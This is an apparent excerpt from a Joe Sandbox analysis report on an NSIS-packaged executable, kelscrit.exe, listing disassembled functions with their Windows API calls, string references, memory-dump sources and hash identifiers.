Instruction ID: 3bf72a8e0ffa46ee4049c610ab3cabbd6d50cfb344f29d4a8179c655b9565abb
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 5C2165B1500B04ABC7319F38DE08B577BF4AF41715F04892EEA96A26E0D739D944CB54

Function 6F952480 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6F9525C2

Part of subcall function 6F9512CC: lstrcpynW.KERNEL32(00000000,?,6F95137F,00000019,6F9511CA,-000000A0), ref: 6F9512DC

GlobalAlloc.KERNEL32(00000040), ref: 6F952548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6F952563

Strings

@Hmu, xrefs: 6F95257C

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: 9ec911011d04d297534b6bb0aa72d9a918562f79d76eb32c4d864278538b580c
Instruction ID: ca5e35fad6984550f2131d48c6839aef38d2c0754ed85e98e934fecdcf4f2b4c
Opcode Fuzzy Hash: 9ec911011d04d297534b6bb0aa72d9a918562f79d76eb32c4d864278538b580c
Instruction Fuzzy Hash: 8941BEB0008705EFEB24DF38E850A6677B8FB96324F104A1EE44A861C2E731E5B5CF61

Function 00404EB1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404ECC
GetMessagePos.USER32 ref: 00404ED4
ScreenToClient.USER32(?,?), ref: 00404EEE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404F00
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F26

Strings

f, xrefs: 00404F02

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: fe1e2a7802b6c51c8f018a14413b1ee553013da7dc16083b389f375565560bf3
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: 20015E71900219BADB00DB94DD85BFEBBBCAF95711F10412BBB51B61D0C7B4AA418BA4

Function 00401E73 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E76
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E90
MulDiv.KERNEL32(00000000,00000000), ref: 00401E98
ReleaseDC.USER32(?,00000000), ref: 00401EA9
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401EF8

Strings

Times New Roman, xrefs: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction ID: 32ce691c062fdf7882ca7c79f7dc95dd78c7e40f541a0607bb82830de01dd458
Opcode Fuzzy Hash: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction Fuzzy Hash: 3C017171905250EFE7005BB4EE49BDD3FA4AB19301F208A7AF142B61E2CBB904458BED

Function 00402FB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FD6
MulDiv.KERNEL32(0008C388,00000064,0008CC68), ref: 00403001
wsprintfW.USER32 ref: 00403011
SetWindowTextW.USER32(?,?), ref: 00403021
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403033

Strings

verifying installer: %d%%, xrefs: 0040300B

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: de78d71e2fb772fb87643f85aa6fa794cb5f2d0f129fd79c7e15704eeb750e6f
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 85014F71640208BBEF209F60DD49FEE3B79AB04344F008039FA02B51D0DBB996559B59

Function 6F952655 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6F9512BB: GlobalAlloc.KERNEL32(00000040,?,6F9512DB,?,6F95137F,00000019,6F9511CA,-000000A0), ref: 6F9512C5

GlobalFree.KERNEL32(?), ref: 6F952743
GlobalFree.KERNEL32(00000000), ref: 6F952778

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 5d4cf12b1b93195b78ff3346e1efc49a5c7c4384053a5030a5513d85afd9a0fa
Instruction ID: 1716407da6871b380ce57cb86bbfd3b88dc2cadc12d11fd5da9a91f5dbf44489
Opcode Fuzzy Hash: 5d4cf12b1b93195b78ff3346e1efc49a5c7c4384053a5030a5513d85afd9a0fa
Instruction Fuzzy Hash: 5331BC31609601EFDB25CF78D994C2A77BAFB873247244629F100932A0C731F8799FA1

Function 00402975 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029D6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029F2
GlobalFree.KERNEL32(?), ref: 00402A2B
GlobalFree.KERNEL32(00000000), ref: 00402A3E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A5A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A6D

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction ID: fd7949a1005e62e73a365a75524f2bbb059e9229dbd09bef2f8decdc6a7611be
Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction Fuzzy Hash: FA31A271D00124BBCF21AFA5CE89D9E7E79AF45324F14423AF421762E1CB798D418FA8

Function 6F951979 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6F9519DA
GlobalFree.KERNEL32(?), ref: 6F951B7A
GlobalFree.KERNEL32(?), ref: 6F951B7F

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: a56104b4b437795e5839ebff2bc860969941715894525480535144f98aafeb0f
Instruction ID: 4caf77e9ac55212a85b1ccef986dcfca7a7f631bb3f01493855e7aecf9240b00
Opcode Fuzzy Hash: a56104b4b437795e5839ebff2bc860969941715894525480535144f98aafeb0f
Instruction Fuzzy Hash: FA51C032D04218AA8B11DFF895409AEBBB9EB43314F02925BD414A72D8F771FAF58791

Function 00401DA6 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DBF
GetClientRect.USER32(?,?), ref: 00401E0A
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E3A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E4E
DeleteObject.GDI32(00000000), ref: 00401E5E

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction ID: c57303c31a56d7bc8f2a0c5af16d3cdd50a2ae23bf22298ce01a5789fd7b985b
Opcode Fuzzy Hash: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction Fuzzy Hash: B9211972900119AFCB05DF98DE45AEEBBB5EB08354F14003AFA45F62A0D7789D81DB98

Function 6F9516BD Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6F9522D8,?,00000808), ref: 6F9516D5
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6F9522D8,?,00000808), ref: 6F9516DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6F9522D8,?,00000808), ref: 6F9516F0
GetProcAddress.KERNEL32(6F9522D8,00000000), ref: 6F9516F7
GlobalFree.KERNEL32(00000000), ref: 6F951700

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 311f38b1763b7ec9742577518d403eeb50f5c125160272282c6101161c546521
Instruction ID: f8e68ef3ed11c3b06d5819710cbd2e0d7ac599606af6dcb6266155eb6cc4f385
Opcode Fuzzy Hash: 311f38b1763b7ec9742577518d403eeb50f5c125160272282c6101161c546521
Instruction Fuzzy Hash: 9FF0127210A5387BDB6016BA9C4CC9B7E9CEF8B2F5B110215F6189119085614C35DFF1

Function 00401C68 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CD8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CF0

Strings

!, xrefs: 00401CA4

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction ID: 1a2acd516b32d4a8bba1f086ee74ddb70cdd2400578aaa813c3bd98b8eca9c32
Opcode Fuzzy Hash: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction Fuzzy Hash: 1121A071D1421AAEEB05AFA4D94AAFE7BB0EF44304F10453FF501B61D0D7B88941DB98

Function 00404DA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
wsprintfW.USER32 ref: 00404E4D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

%u.%u%s%s, xrefs: 00404E2E

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: f1ad69e943298bab6ea0b6c220370dbc78873d19d133ff1b34b391d97265b774
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: 3011EB336041287BDB10566DAC45E9E329CDF85374F250237FE25F21D5E978C92182E8

Function 00405F4E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 00405EF1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405EFF
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405FA7
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 00405FB7

Strings

C:\Users\user\AppData\Local\Temp\nst46B6.tmp, xrefs: 00405F54, 00405F59, 00405F5F, 00405FA0, 00405FA6, 00405FAE, 00405FB6
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F4E

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nst46B6.tmp
API String ID: 3248276644-1779716734
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 6a7a19aedd3560da6e477bd72522a8c235124595f9c35bb96c459409ca5d5c37
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 28F0F42A105E6369C622333A5C05AAF1954CE86324B5A453FBC91F22C5CF3C8A42CDBE

Function 00405EF1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405EFF
CharNextW.USER32(00000000), ref: 00405F04
CharNextW.USER32(00000000), ref: 00405F1C

Strings

C:\Users\user\AppData\Local\Temp\nst46B6.tmp, xrefs: 00405EF2

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nst46B6.tmp
API String ID: 3213498283-1406930569
Opcode ID: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction ID: 0a1f1b5a9c7109d9782da40e5c64a20d368bd089a9add51530d5bf68f03dfa04
Opcode Fuzzy Hash: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction Fuzzy Hash: 98F09062D00A2795DA31B7645C85A7766BCEB593A0B00807BE601B72C0D7BC48818EDA

Function 00405E46 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040353F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405E4C
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040353F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405E56
lstrcatW.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405E68

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E46

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
